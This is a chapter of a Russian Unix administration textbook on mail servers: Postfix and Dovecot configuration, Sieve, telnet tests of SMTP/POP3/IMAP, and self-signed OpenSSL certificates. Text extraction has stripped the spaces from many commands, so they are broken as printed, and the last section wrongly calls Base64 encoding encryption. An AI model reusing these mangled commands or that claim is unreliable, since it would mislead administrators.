MUA (Mail User Agent) специальная программа (Gmail, Outlook и т. д.) для управления почтой пользователей. MTA (Mail Transfer Agent) серис обеспечивающий передачу почтовых сообщений по сети TCP/IP с помощьют протокола SMTP (Simple Mail Transfer Protocol). MSA (Mail Submission Agent) часть сервиса MTA, для авторизованных SMTP-подключений. smtpd часть MTA, сервис для приема почты, работающий по протоколу SMTP. smtp часть MTA, сервис для передачи почты, работающий по протоколу SMTP. MDA (Mail Delivery Agent) раскладывает почту по почтовым ящикам пользователей, прове- ряет пароль, разрешает или запрещает доставку почты.

150 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

LDA (Local Delivery Agent) раскладывает почту по локальным почтовым ящикам пользова- телей, проверяет пароль, разрешает или запрещает локальную доставку почты. Основное отличие LDA от MDA - не может сохранять почту на удаленном сервере. lmtpd часть MDA, сервис для приема локальной почты. imapd часть MDA, сервис, работающий по протоколу IMAP, использующийся для доступа MUA в папки почтовых ящиков. Позволяет не хранить почту на компьютере клиента, а работать с сервером в онлайн-режиме. SASL набор механизмов аутентификации. TLS/SSL набор механизмов шифрования данных. MX запись DNS определяющая почтовый сервер обслуживающий почтовый домен. SPF Запись DNS, определяющая почтовые сервера, которым разрешено отправлять почту от име- ни почтового домена.

Маршрутизация почты в Internet

Для поиска почтового сервера, обслуживающего почтовый домен адресата (маршрутизация почты) в системе DNS-серверов создаются специальные MX-записи:

<почтовый_домен> IN MX<приоритет><почтовый_сервер>

Благодаря параметру <приоритет> один почтовый домен может обслуживаться несколькими поч- товыми серверами. Допустим, что MX запись имеет вид:

mail.domain. IN MX5 server.mail.domain.

Это означает, что компьютер с полным именем server.mail.domain должен быть настроен для обработки сообщений почтовому домену mail.domain, поскольку ему будут перенаправляться все письма с адресом вида:

<почтовый_ящик>@mail.domain

Если одному почтовому домену соответствует несколько записей MX, то в первую очередь будут использоваться почтовые сервера с меньшим значением приоритета. Для того, чтобы smtp-сервер мог принимать почту для почтового домена вне локальной сети (из интернет), необходимо: • Установить статический IP-адрес с постоянным подключение к Интернет. • Зарегистрировать доменное имя совпадающее с доменом почты. • Создать MX-запись домена с IP-адресом данного сервера.

Формат заголовка почтового сообщения

Типичный заголовок почтового сообщения:

Return-Path: Received: ursa.cus.cam.ac.uk ([email protected] [131.111.8.6]) by al.animats.net (8.9.3/8.9.3/Debian 8.9.3-6) with ESMTP id WAA04654 for; Sun, 30 Jan 2000 22:30:01+1100 Received: from ph10 (helo=localhost) by ursa.cus.cam.ac.uk with local-smtp (Exim 3.13 #1) id 12EsYC-0001eF-00; Sun, 30 Jan 2000 11:29:52 +0000 Date: Sun, 30 Jan 2000 11:29:52+0000 (GMT) From: Philip Hazel Reply-To: Philip Hazel

2.1. Администрирование вычислительных сетей 151 ABC Unix, Выпуск 1.0.01

To: Terry Dawson, Andy Oram Subject: Electronic mail chapter In-Reply-To:<[email protected]> Message-ID:

Обычно, все необходимые поля заголовка генерируются программой для работы с электронной почтой. Некоторые поля необязательны и могут быть добавлены пользователем. Ниже приведен список наиболее часто используемых полей с пояснением их значения: • Received: Каждый пункт, через который проходит почта (включая машины отправителя и получателя) вставляет такое поле в заголовок, указывая имя пункта, идентичность сообще- ния, время и дату получения сообщения, из какого пункта оно происходит, и какое транс- портное программное обеспечение использовалось. • Date: Дата посылки почты. • From: Содержит email-адрес отправителя и, возможно, его “реальное имя”. • Reply-To: Определяет адрес для ответа получателя. Это может быть полезно, если Вы имеете несколько адресов, но хотите получать большую часть почты только на том, который Вы используете наиболее часто. Это поле необязательно. • To: email-адрес получателя. Может быть несколько адресов, они разделяются запятыми. • Cc: Кому послать копии. Может быть несколько адресов, они разделяются запятыми. • Bcc: Кому послать невидимые копии. Может быть несколько адресов, они разделяются за- пятыми. Разница между “Cc:” и “Bcc:” в том, что “Bcc:”-получатели не увидят имен и адресов других получателей, а “Cc:”-получатели их увидят. • Subject: Тема сообщения в нескольких словах. • Message-ID: Строка, сгенерированная транспортировщиком почты. Она уникальна для это- го сообщения. • Organization: Организация, которая обладает машиной с который послана почта. Это поле необязательно и не упоминается ни в одном RFC. • X-anything: Заголовки, которые начинаются с X- зарезервированы для еще не описанных в RFC полей. Например, один из крупных серверов списков рассылки по Linux указывает имя списка в поле X-Mn-Key:.

Способы хранения почты

Наибольшее распространение получили два способа хранения почтовых сообщений: • MailBox (mbox) • Maildir В первом случае вся почта одного пользователя хранится в одном большом файле. Во втором случае для почты пользователя выделяется каталог, в котором отдельные сообщения хранятся в отдельных файлах.

Виртуальный почтовый домен

• Почтовый домен, отличный от DNS-домена компьютера. • Почтовые ящики не связаны с заведенными в системе пользователями. • Почта обрабатывается не от имени владельца почтового ящика, а от имени специально заве- денного пользователя. • Хранение почтовых сообщений возможно только в формате Maildir.

152 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Сервер SMTP (POSTFIX)

По умолчанию в Red Hat совместимых дистрибутивах устанавливается smtp-сервер sendmail.

Установка SMTP-сервера postfix

Для того, чтобы заменить пакет sendmail на postfix необходимо выполнить команды: yum install postfix yum remove sendmail

Примечание: Если изменить последовательность, то вместе с sendmail (по зависимости) будут удалены еще несколько пакетов программ, которые, затем будут повторно устанавливаться вместе с postfix.

Postfix использует специальный сервис master, который управляет вспомогательными сервисами: smtpd сервер для приема почты от других серверов. К нему подключаются (порт 25) клиенты smtp других серверов. smtp клиент, который подключается к другим серверам smtpd (порт 25), чтобы передать почту. submission сервис переопределяющий порт для передачи почты клиентами MUA с 25 на 587. qmgr менеджер очереди сообщений. flush менеджера очереди сообщений, переставляющий нужные сообщения (ETRN) в начало очереди. anvil сервис для контроля количества соединений и частоты запросов. cleanup сервисы для исправления/дополннения заголовков почтового сообщения. rewrite bounce сервисы для контроля доставки сообщений с помощью журнала. defer trace verify проверка отправителя/получателя с помощью отправки тестового письма. pickup подхватывает готовый файл из очереди maildrop, читает его, проверяет, и передает считанные данные cleanup. virtual встроенные LDA. local showq предоставляет отчет о состоянии очереди. spawn указывает Postfix слушать назначенный в опциях сокет для выполнения внешней команды. policyd-spfзапрашивает TXT-запись в DNS, и проверяет в SPF допуск для подключающегося MTA. postscreen блокиратор зомби-компьютеров, эмулирующий SMTP-сессию и проводящий рад тестов SMTP-клиента.

Примечание: Зомби-компьютер - зараженный компьютер, источники спам рассылки.

Вспомогательные сервисы загружаются динамически по мере необходимости и работают с ограни- ченными правами. Предусмотрен запуск вспомогательных сервисов в chroot окружении. Запуск вспомогательных сервисов настраивается в файле конфигурации /etc/postfix/master.cf.

Основной файл настроек

Большинство параметров могут иметь две области применения глобальную и избирательную.

2.1. Администрирование вычислительных сетей 153 ABC Unix, Выпуск 1.0.01

Глобальные параметры указываются в файле main.cf и влияют на работу всех сервисов. Записи глобальных параметров в основном конфигурационном файле:

/etc/postfix/main.cf

имеют вид:

параметр= значение

Комментарии начинаются с символа #. Параметры, имеющие несколько значений, можно записы- вать одним из следующих способов: • способ №1:

параметр= значение1 значение2 значение3

• способ №2:

параметр= значение1,значение2,значение3

• способ №3:

параметр= значение1 значение2 значение3

• способ №4:

параметр= значение1, значение2, значение3

Предупреждение: В третьем и четвёртом вариантах обязателен пробел в начале каждой строчки с параметром.

После того, как задано значение какого-либо параметра его можно использовать для задания зна- чений другим параметрам. Для этого необходимо перед именем параметра поставить символ $ (аналогично получению значения переменной окружения в командном интепретаторе):

mydomain = example.com mydestination = mail.$mydomain

Файл настроек вспомогательных сервисов

Избирательные параметры указываются в файле master.cf и влияют на работу только того сервиса для которого они указаны. При одновременном использовании избирательное значение переопре- деляет глобальное. Например, можно для всех сервисов в файле /etc/postfix/main.cf указать необязательное ис- пользования TLS:

smtpd_tls_security_level= may

Но для сервиса submission в файле mastеr.cf сделать его обязательным:

154 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

... submission inet n---- smtpd-o smtpd_tls_security_level=encrypt ...

Длинные строки в файле mastеr.cf можно переносить при этом продолжение на другой строке должно начинаться с двух пробелов. Для предыдущего примера это выглядит так:

... submission inet n---- smtpd -o smtpd_tls_security_level=encrypt ...

Предупреждение: Значение опции -o не должно содержать пробелы в том числе и вокруг знака =.

Настройка простейшего SMTP-сервера

Предупреждение: Без добавления соответствующих опции postfix будет пересылать через себя любые почтовые сообщения (работать как открытый релей)

Для настройки простого сервера необходимо в файле настроек по умолчанию изменить следующие параметры: myhostname полное DNS-имя сервера (FQDN), если не задано (закомментировано), то используется значение, возвращаемое командой hostname. mydomain обслуживаемый домен почты, если не задано (закомментировано), то используется значение $myhostname без первой компоненты. myorigin имя почтового домена, которое используется при отправке почты с этого сервера. По умолчанию, используется значение параметра $myhostname. Значение параметра myorigin добавляется к адресу получателя для которого почтовый домен не указан явно. mynetworks список сетей, IP-адресов, для которых активизируется smtp-протокол. inet_interfaces адреса сетевых интерфейсов, на которых активизируется smtp-протокол. По умолчанию используются все активные интерфейсы. mydestination список доменов, для которых данный сервер является конечной точкой доставки почты. Если почтовые домены настраиваются как виртуальные, то стоит указать только localhost и имя компьютера или вообще оставить значение пустым. Допустим, что настраиваемый сервер с именем: lsrv.example.com

должен обслуживать почтовый домен: example.com

тогда: myhostname = lsrv.example.com # полное имя (FQDN) сервера mydomain = example.com # имя почтового домена myorigin = $mydomain # имя почтового домена, подставляемое в # отправляемые письма

2.1. Администрирование вычислительных сетей 155 ABC Unix, Выпуск 1.0.01

inet_interfaces = all # адреса сетевых интерфейсов, на которых # принимается почта mydestination = localhost.$mydomain, localhost # список обслуживаемых доменов

После изменения параметров необходимо перезапустить службу командой: service postfix restart

Postfix обрабатывает почту только для указанных опцией mydestination доменов. Каждый домен может обрабатываться одним из способов: либо как конечный домен для почты, либо как домен для пересылки.

Настройка пересылки (relay)

Предупреждение: Без добавления соответствующих опции postfix будет пересылать через себя любые почтовые сообщения (работать как открытый релей)

Для настройки пересылки сообщений почты на другой сервер используются параметры: relayhost содержит адрес почтового шлюза по умолчанию, который используется в том случае, если система не может доставить почту напрямую. disable_dns_lookups=включает (yes) или отключает (no) запросы к DNS-серверу для поиска адреса исходящей почты. Если доставка осуществляется с помощью relayhost, то лучше использовать yes. Если настраиваемый сервер перенаправляет почту серверу: isrv.example.com

тогда: relayhost=isrv.example.com disable_dns_lookups=yes

иначе: relayhost= disable_dns_lookups=no

После изменения параметров необходимо перезапустить службу командой: service postfix restart

Анализ протоколa работы сервера

Протокол работы почтового сервера хранится в файле:

/var/log/maillog

Для его анализа нужно установить дополнительный пакетт: yum install postfix-pflogsumm

Подробный отчет (с расшифровкой очереди сообщений) за текущий день:

156 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

pflogsumm-i-e-d today/var/log/maillog

где: -i -игнорировать регистр в именах. Стандартный отчет за текущий день: pflogsumm-d today/var/log/maillog

Стандартный отчет за предыдущий день: pflogsumm-d yesterday/var/log/maillog

Отчет за предыдущую неделю (если настроена еженедельная ротация протоколов почты): pflogsumm.pl/var/log/maillog.0

Полезные опции для анализа отчетов: --problems_first поместить отчет об проблемах в начало Не создавать отчет: --no_bounce_detail -по возвращенным соосбщениям --no_deferral_detail -по отсроченым соосбщениям --no_reject_detail -по отвергнутым соосбщениям ограничить количество статистики N строками: -h N -по доменам -u N -по пользователям

Настройка ежедневного отчета

Настройка задания cron для ежедневной отправки отчета по почте (формируется ежедневно в 00:10):

10 0 * * * /usr/local/sbin/pflogsumm -i -e -d yesterday /var/log/maillog | /bin/mailx -s ˓→"Ежедневный отчет о работе сервера $(uname -n)" postmaster

Настройка еженедельного отчета

Настройка задания cron для еженедельной отправки отчета по почте (формируется еженедельно в 04:10):

10 4 * * 0 /usr/local/sbin/pflogsumm -i -e /var/log/maillog.0 | /bin/mailx -s "Еженедельный␣ ˓→отчет о работе сервера $(uname -n)" postmaster

Анализ очереди на отправку

Для отправки сообщения помещаются в очередь. Сообщения в очереди на отправку можно про- смотреть так: postqueue-p

или: mailq

После изменения настроек можно принудительно повторить отсылку сообщений из очереди:

2.1. Администрирование вычислительных сетей 157 ABC Unix, Выпуск 1.0.01

postsuper-r ALL

После изменения настроек можно принудительно очистить очередь на отправку: postsuper-d ALL

Для обслуживания очереди сообщений могут понадобиться следующие команды: • удаление из очереди запросов на отправку для заданного адреса АДРЕС:

mailq|\ grep-v '^ *(' | awk 'BEGIN{ RS =""}{ if ($8 =="АДРЕС" && $9 =="") print $1 } ' |\ tr-d '*!' |\ postsuper-d-

Примечание: $7 -адрес отправителя, $8-адрес получателя, $9 -адрес второго получателя

• просмотр всех адресатов в очереди:

mailq | \ grep -v '^ *(' | awk 'BEGIN { RS = "" } { print $8 }' | \ tr -d '*!'

.. note:: $8-адрес получателя

• просмотр сообщений с заданным адресом АДРЕС:

mailq|\ grep-v '^ *(' | awk 'BEGIN{ RS =""}{ if ($8 =="АДРЕС" && $9 =="") print $8 } ' |\ tr-d '*!'

Примечание: $8-адрес получателя, $9 -адрес второго получателя

Проверка SMTP сервера

Проверить работоспособность сервера можно с помощью команды telnet В Red Hat совмести- мых дистрибутивах утилита telnet не установливается по умолчанию, поэтому ее сначала нужно установить: yum install telnet

Диалог для отправки тестового письма выглядит примерно так: telnet lsrv.example.com smtp

Ответ сервера:

Trying _IP_адрес_... Connected to lsrv.example.com (_IP_адрес_). Escape character is '^]'. 220 lsrv.example.com ESMTP Postfix

Вводим имя компьютера с которого отправляется почта: ehlo lsrv.example.com

158 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Ответ сервера:

250-lsrv.example.com 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 2508BITMIME

Вводим адрес отправителя: mail from: [email protected]

Ответ сервера:

250 Ok

Вводим адрес получателя: rcpt to: [email protected]

Ответ сервера:

250 Ok

Для перехода в режим ввода текста письма подаем команду: data

Ответ сервера:

354 End data with.

Вводим текст письма:

Почтальону Печкину

Для выхода из режима ввода текста письма нужно набрать точку в пустой строке и нажать :

.

Получаем сообщение о том, что письмо помещено в очередь для отправки:

250 Ok: queued as ИДЕНТИФИКАТОР_ВСООБЩЕНИЯ_В_ОЧЕРЕДИ

Подаем команду выйти: quit

Ответ на наш ввод:

221 Bye Connection closed by foreign host.

Проверка защищенного протокола SMTPS

По умолчанию стандартный TCP порт для поддержки незащищенного SMTP-протокола - 25, для защищенного SMTPS-протокола - 465. Проверить 465 порт можно с помощью той же команды telnet

2.1. Администрирование вычислительных сетей 159 ABC Unix, Выпуск 1.0.01

telnet lsrv.example.com 465 Trying _IP_адрес_... Connected to lsrv.example.com. Escape character is '^]'. 220 lsrv.example.com ESMTP Exim 4.80.1 Tue, 22 Jan 2013 22:28:14+0100

Проверка TLS шифрования telnet lsrv.example.com 25 Trying _IP_адрес_... Connected to lsrv.example.com. Escape character is '^]'. 220 lsrv.example.com ESMTP Exim 4.80.1 Tue, 22 Jan 2013 22:39:55+0100

EHLO your-server.local.lan

250-smtp.domain.dom Hello your-server.local.lan [ip-address] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN CRAM-MD5

250-STARTTLS <<< STARTTLS поддерживается

250 HELP quit

221 smtp.domain.dom closing connection Connection closed by foreign host.

Определение поддерживаемых методов аутентификации telnet lsrv.example.com 25 Trying _IP_адрес_... Connected to lsrv.example.com. Escape character is '^]'. 220 lsrv.example.com ESMTP Exim 4.80.1 Tue, 22 Jan 2013 22:39:55+0100

EHLO lsrv.example.com

250-lsrv.example.com Hello lsrv.example.com [ip-address] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING

Далее идет перечень поддерживаемых методов аутентификации:

250-AUTH PLAIN LOGIN CRAM-MD5 250-STARTTLS 250 HELP quit

221 lsrv.example.com closing connection Connection closed by foreign host.

160 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Сервер POP и IMAP (Dovecot)

После установки служба готова к работе, единственное, что следует сделать — отключить небез- опасные открытые протоколы без шифрования. Для этого необходимо изменить параметры в на- строечном файле:

/etc/dovecot.conf

оставить только протоколы с шифрованием imaps и pop3s: protocols= imaps pop3s

отключить порты для не шифруемых протоколов imap, pop3: imap_listen= pop3_listen=

для протоколов отключить поддержку IP протокола версии 6: imaps_listen=* pop3s_listen=*

После изменения параметров необходимо перезапустить службу командой: service dovecot restart

“Механизмы” аутентификации

Большинство почтовыми клиентов поддерживают механизмы PLAIN, LOGIN и CRAM-MD5. При использовании PLAIN и LOGIN пароль передаётся в открытом виде, а хранитсяможет в хэширо- ванном виде. В случае с CRAM-MD5 пароль передаётся в хэшированном виде, но хранится - в открытом. Если неиспользуются защищённые версии протоколов IMAP и POP3, то лучше использовать меха- низм CRAM-MD5. Если же используются только защищённые версии протоколов IMAP и POP3, то безопаснее использовать PLAIN и LOGIN, потому что при их использовании можно хранить па- роли в хэшированном виде. Пароль при этом почти невозможно перехватить, а в случае получения доступа к хэшам паролей воспользоваться ими напрямую не удастся, т. к. нужно будет подобрать пароль, который будет соответствовать хэшу. Пример настройки механизмов аутентификации PLAIN, LOGIN: disable_plaintext_auth= no auth_default_realm=<ИМЯ_ПОЧТОВОГО_ДОМЕНА> auth_mechanisms= plain login

Форматы хранения почтовых сообщений

• mbox — стандартный UNIX-mailbox, поддерживается всеми почтовыми клиентами, все письма пользователя хранятся в одном файле. Новое письмо дописывается в конец, вместо удаления письмо помечается как удаленное. Таким образом имеет место проблема бесконечного роста файла, с которой dovecot борется путем сжатия файла. При больших файлах процесс сжатия может продолжаться длительное время, в которое приостанавливается доступ к почте. При сбоях во время сжатия возможна поломка базы с потерей всех (или части) писем. • Maildir — под хранение писем каждого пользователя выделяется каталог, каждое письмо хранится в отдельном файле. При большом объеме мелких писем нерационально используется дисковое пространство.

2.1. Администрирование вычислительных сетей 161 ABC Unix, Выпуск 1.0.01

• два варианта “родного” формата dovecot (dbox), не поддерживаемого другими почтовыми клиентами: – sdbox — один файл на каждое письмо, – mdbox — один файл на несколько писем.

Расположение почтовых ящиков

При настройке расположения каталога с почтой можно использовать встроенные макроподстановки (переменные):

%u – полное имя пользователя (имя с доменом), %n – имя без домена, %d – домен.

Типичные настройки: 1. для Maildir без виртуального домена:

mail_location= maildir:~/Maildir

Почта будет хранться в домашних каталогах пользователей в подкаталоге Maildir.

2. для Maildir с одним виртуальным доменом:

mail_location= maildir:/var/vmail/%n/Maildir

3. для Maildir с несколькими виртуальными доменфми:

mail_location= maildir:/var/vmail/%d/mail/%n/Maildir

4. для mbox:

mail_location= mbox:~/mail:INBOX=/var/mail/%u

Все последующие настройки будут рассматриаться для случая нескольких доменов с отдельным каталогом Maildir для каждого из доменов (вариант 3 из перечисленных выше).

Настройка общего доступа к папкам (ACL)

Плагин acl позволяет пользователям предоставлять друг другу доступ к папкам в своих почтовых ящиках. Эта возможность доступна только при использовании протокола IMAP. Плагин подключается в файле /etc/dovecot/conf.d/10-mail.conf: mail_plugins= acl

В файле /etc/dovecot/conf.d/20-imap.conf плагин добавляется для IMAP-сервере:

162 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

protocol imap { mail_plugins = $mail_plugins imap_acl }

В файле /etc/dovecot/conf.d/10-mail.conf описываются два пространства имён: • первое для хранения личной почты пользователя: namespace inbox { type= private separator=/ prefix= inbox= yes }

второе для отображения каталогов других пользователей, к которым этот пользователь имеет до- ступ: namespace { type= shared separator=/ prefix= Shared/%%u/ location= maildir:/var/vmail/%d/mail/%%n/Maildir:INDEX=/var/vmail/%d/mail/%%n/Maildir/ ˓→Shared/%%u subscriptions= yes list= children }

Параметр location задает каталог для хранения папок предоставленных в общее пользование. Двой- ной символ %% означает, что макроподстановки (%u и %n) осуществляются относительно пользова- теля, который предоставил доступ. В файле /etc/dovecot/conf.d/90-acl.conf прописываются настройки плагина: plugin { acl= vfile acl_shared_dict= file:/var/vmail/%d/shared-mailboxes.db }

Значение vfile предписывает создавать внутри почтового ящика файл dovecot-acl, в котором ибудут прописываться права доступа к нему со стороны других пользователей. Значение acl_shared_dict указывает путь к файлу базы данных, которая позволит пользователям узнавать, к каким каталогам в чужих почтовых ящиках у них имеется доступ. В данном случае для каждого почтового домена будет создана отдельная база данных, расположенная в каталоге домена, на одном уровне с ящиками. Должна быть разрешена запись в каталог, указанный параметром acl_shared_dict от имени поль- зователя под которым запускается процесс imap (обычно vmail).

Selinux

Для каталога, указанного в acl_shared_dict нужно добавить контекст: semanage fcontext-a-t mail_home_rw_t '(/.*)?'

и обновить его: restorecon-R-v

2.1. Администрирование вычислительных сетей 163 ABC Unix, Выпуск 1.0.01

Современные почтовые программы по протоколу IMAP определяют назначение каждого из специ- альных каталогов. Это полезно, если каталог имеет нестандартное название или название на языке пользователя ящика, например, “Входящие” или “Спам”. Чтобы настройки плагина acl вступили в силу, нужно перезапустить Dovecot:

/etc/init.d/dovecot restart

Настройка скриптов фильтрации почты (Sieve)

Дополнение (плагин) Sieve позволяет выполнять скрипты фильтрации почты агентом локальной доставки (LDA) в момент получения письма от почтового сервера (MTA). С помощью плагина можно на основании любого поля заголовка или содержимого тела письма: • раскладывать письма по папкам, • удалять письма, • переслать на другой ящик, • отправлять уведомления отправителю. Все операции выполняются на строне сервера поэтому пользователю не нужно настраивать правила фильтрации в каждом из используемых им почтовых клиентов. Установка плагина Sieve: yum install dovecot-pigeonhole

Подключение плагина в файле /etc/dovecot/conf.d/15-lda.conf: protocol lda { mail_plugins = $mail_plugins sieve }

Настройки плагина в файле /etc/dovecot/conf.d/90-sieve.conf: plugin { sieve=/var/vmail/%d/mail/%n/sieve/active.sieve # Расположение активного скрипта sieve_dir=/var/vmail/%d/mail/%n/sieve # Каталог для скриптов sieve_max_script_size=1M # Максимальный размер одного скрипта sieve_quota_max_scripts= 50 # Максимальное количество скриптов sieve_quota_max_storage=1M # Максимальный общий объём скриптов }

У каждого пользователя должен быть свой каталог для набора Sieve-скриптов (параметр sieve_dir), из которых в любой момент времени может быть активен только один (параметр sieve указывает на активный скрипт).

Selinux

Для каталога, указанного в sieve_dir нужно добавить контекст: semanage fcontext-a-t mail_home_rw_t '(/.*)?'

и обновить его: restorecon-R-v

После настройки плагина нужно перезапустить Dovecot, чтобы изменения вступили в силу:

164 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

/etc/init.d/dovecot restart

Примечание: Подробнее о написании скриптов Sieve можно почитать в статье.

Управление фильтрами Sieve (ManageSieve)

Для управления скриптами Sieve из почтового клиента предназначен сервис ManageSieve. Он ожи- дает подключений на TCP-порту 4190. Для управления скриптами используются учётные данные использованные для входа почтовую программу. Установка сервиса ManageSieve: yum install dovecot-pigeonhole

После установки сервис готов к работе.

Проверка IMAP и POP сервера

Проверка работоспособности POP сервера

Проверить работоспособность POP3 сервера можно командой:

# telnet lsrv.example.com pop3 Trying _IP_адрес_... Connected to lsrv.example.com (_IP_адрес_). Escape character is '^]'. +OK dovecot ready.

Вводим имя пользователя: user boss

Ответ сервера:

+OK

Вводим пароль пользователя: pass 123

Ответ сервера:

+OK Logged in.

Вводим команду просмотра доступных писем: list

Ответ сервера:

+OK0 messages: .

Подаем команду выйти: quit

2.1. Администрирование вычислительных сетей 165 ABC Unix, Выпуск 1.0.01

Ответ сервера:

+OK Logging out. Connection closed by foreign host.

Проверка работоспособности IMAP сервера

Проверить работоспособность IMAP сервера можно командой: telnet lsrv.example.com imap

Ответ сервера:

Trying _IP_адрес_... Connected to imap.example.com(_IP_адрес_). Escape character is '^]'. * OK Dovecot ready.

Вводим имя пользователя и пароль: a1 LOGIN<ПОЛЬЗОВАТЕЛЬ><ПАРОЛЬ>

Ответ сервера: a1 OK Logged in.

Вводим команду просмотра доступных папок: a2 LIST =="*"

Ответ сервера:

* LIST (\HasNoChildren)".""INBOX" a2 OK List completed.

Вводим команду просмотра доступных писем: a3 EXAMINE INBOX

Ответ сервера:

* FLAGS (\Answered \Flagged \Deleted \Seen \Draft) * OK [PERMANENTFLAGS ()] Read-only mailbox. *1 EXISTS *1 RECENT * OK [UNSEEN1] First unseen. * OK [UIDVALIDITY 1257842737] UIDs valid * OK [UIDNEXT2] Predicted next UID a3 OK [READ-ONLY] Select completed.

Вводим команду просмотра первого письма: a4 FETCH1 BODY[]

Ответ сервера:

*1 FETCH (BODY[] {405} Return-Path: [email protected] Received: from client.example.com ([_IP_адрес_]) by mx1.example.com with ESMTP id<[email protected]>

166 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

for; Tue, 20 Jan 2004 22:34:24+0200 From: [email protected] Subject: Test message To: [email protected] Message-Id:<[email protected]> This is a test message. ) a4 OK Fetch completed.

Подаем команду выхода: a5 LOGOUT

Ответ сервера:

* BYE Logging out a5 OK Logout completed.

Сертификаты и шифрование SSL/TLS

Использование SSL сертификата в Apache

Создание самоподписанного сертификата (/etc/pki/tls/certs/apache.crt) и соответствующего ему ключа для сервера (/etc/pki/tls/private/apache.key) на год (365 дней): openssl req-x509-nodes-days 365-newkey rsa:2048\ -keyout/etc/pki/tls/private/apache.key \ -out/etc/pki/tls/certs/apache.crt

Диалог при созданиии выглядит следующим образом:

Country Name (2 letter code) [AU]:US State or Province Name (full name) [Some-State]:New York Locality Name (eg, city) []:NYC Organization Name (eg, company) [Internet Widgits Pty Ltd]: Inc Organizational Unit Name (eg, section) []:Dept of Merriment Common Name (e.g. server FQDN or YOUR name) []:example.com Email Address []:[email protected] Step Four—Set Up the Certificate

Примечание: Самый важный параметр “Common Name”. Он должен соответствовать имени до- мена закрепленного за IP адресом.

Примечание: Для присвоения пустого значения вводится .

Установка модуля для apache: yum install mod_ssl

Изменение конфигурационного файла:

/etc/httpd/conf.d/ssl.conf

Найти секцию и внести следующие изменеия:

2.1. Администрирование вычислительных сетей 167 ABC Unix, Выпуск 1.0.01

ServerName example.com:443 SSLEngine on SSLCertificateFile/etc/pki/tls/certs/apache.crt SSLCertificateKeyFile/etc/pki/tls/private/apache.key

Перезапустить службу:

/etc/init.d/httpd restart

Шифрование TLS для Postfix

Само-подписанный сертификат создается командой: openssl req-new-x509-days 365-nodes \ -keyout/etc/ssl/private/postfixkey.pem \ -out/etc/ssl/certs/postfixcert.pem

Приведенная выше команда создает новый сертификат X.509 который будет действовать в тече- ние 365 дней. Дополнительный параметр -nodes указывает, что закрытый ключ не должен быть зашифрован. Результирующий файл сертификата будет сохранен как:

/etc/ssl/certs/postfixcert.pem

а файл с ключом как:

/etc/ssl/private/postfixkey.pem.

Во время выполнения команды необходимо ввести ряд праметров:

Country Name (2 letter code) [AU]:RU State or Province Name (full name) [Some-State]:Russia Locality Name (eg, city) []:SPb Organization Name (eg, company) [Internet Widgits Pty Ltd]:Company Organizational Unit Name (eg, section) []:Deportament Example.tst Common Name (e.g. server FQDN or YOUR name) []:mail.example.com Email Address []:[email protected]

Затем, в конфигурационном файле postfix:

/etc/postfix/main.cf

добавляются/изменяются параметры:

### STARTTLS is enabled ### smtpd_tls_security_level= may smtpd_tls_received_header= yes smtpd_tls_auth_only= yes

### loglevel 3 should be used while troubleshooting ### smtpd_tls_loglevel=1

### path to certificate and key file smtpd_tls_cert_file=/etc/ssl/certs/postfixcert.pem smtpd_tls_key_file=/etc/ssl/private/postfixkey.pem smtpd_use_tls=yes

В заключении, для того, чтобы включить TLS, перезапускается сервис postfix: service postfix restart

168 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Шифрование SSL для Dovecot

Создается само-подписанный сертификат: openssl req-new-x509-days 365-nodes \ -keyout/etc/ssl/private/dovecotkey.pem \ -out/etc/ssl/certs/dovecotcert.pem

Приведенная выше команда создает новый сертификат X.509, который действителен в течение 365 дней. Параметр -nodes является необязательным параметром, который определяет, что хранимый секретный ключ не должен быть зашифрован. Результирующим файлом сертификата будет файл:

/etc/ssl/certs/dovecotcert.pem

а выходным файлом с ключом будет файл:

/etc/ssl/private/dovecotkey.pem

Во время выполнения команды необходимо ввести ряд праметров:

Country Name (2 letter code) [AU]:RU State or Province Name (full name) [Some-State]:Russia Locality Name (eg, city) []:SPb Organization Name (eg, company) [Internet Widgits Pty Ltd]:Company Organizational Unit Name (eg, section) []:Deportament Example.tst Common Name (e.g. server FQDN or YOUR name) []:mail.example.com Email Address []:[email protected]

Затем в конфигурационном файле dovecot:

/etc/dovecot/conf.d/10-ssl.conf

добавляются/изменяются параметры: ssl_cert=/etc/ssl/certs/dovecot cert.pemssl_key=/etc/ssl/private/dovecotkey.pem

Процедуру можно значительно упростить, если воспользоваться скриптом:

/usr/share/doc/dovecot-<версия>/mkcert.sh

Для корректной работы последнего нужно: • отредактировать

/etc/pki/dovecot/dovecot-openssl.conf

• переименовать или удалить

/etc/pki/dovecot/certs/dovecot.pem /etc/pki/dovecot/private/dovecot.pem

В заключении, для того, чтобы включить SSL, перезапускается сервис dovecot: service dovecot restart

Настройка почтового клиента

Установить параметры в соответствии с таблицей:

2.1. Администрирование вычислительных сетей 169 ABC Unix, Выпуск 1.0.01

Протокол Порт SSL Аутентификация IMAP 993 SSL/TLS Normal password SMTP 25 STARTTLS No authentication

Экспорт в формат PKCS#12 openssl pkcs12-export \ -name"Описание"\ -out<имя>.p12 \ -in/etc/pki/tls/certs/<имя>.crt \ -inkey/etc/pki/tls/private/<имя>.key

Формат PKCS#12 используется многими приложениями.

Шифрование сообщений и файлов с помощью OpenSSL

C помощью OpenSSL можно: • создавать приватный ключ RSA или CSR (Certificate Signing Request); • тестировать производительность компьютера; • шифровать файлы и сообщения. Описанные ниже команды предсталяет собой только введение в возможности OpenSSL. Узнать больше о различных методах шифрования, используемых OpenSSL, можно в руководстве: man openssl

Шифровка и дешифровка сообщений

Команда: echo"Привет мир"| openssl enc-base64

шифрует методом Base64 строку символов “Привет мир” и выводит результат на терминал:

0J/RgNC40LLQtdGCINC80LjRgAo=

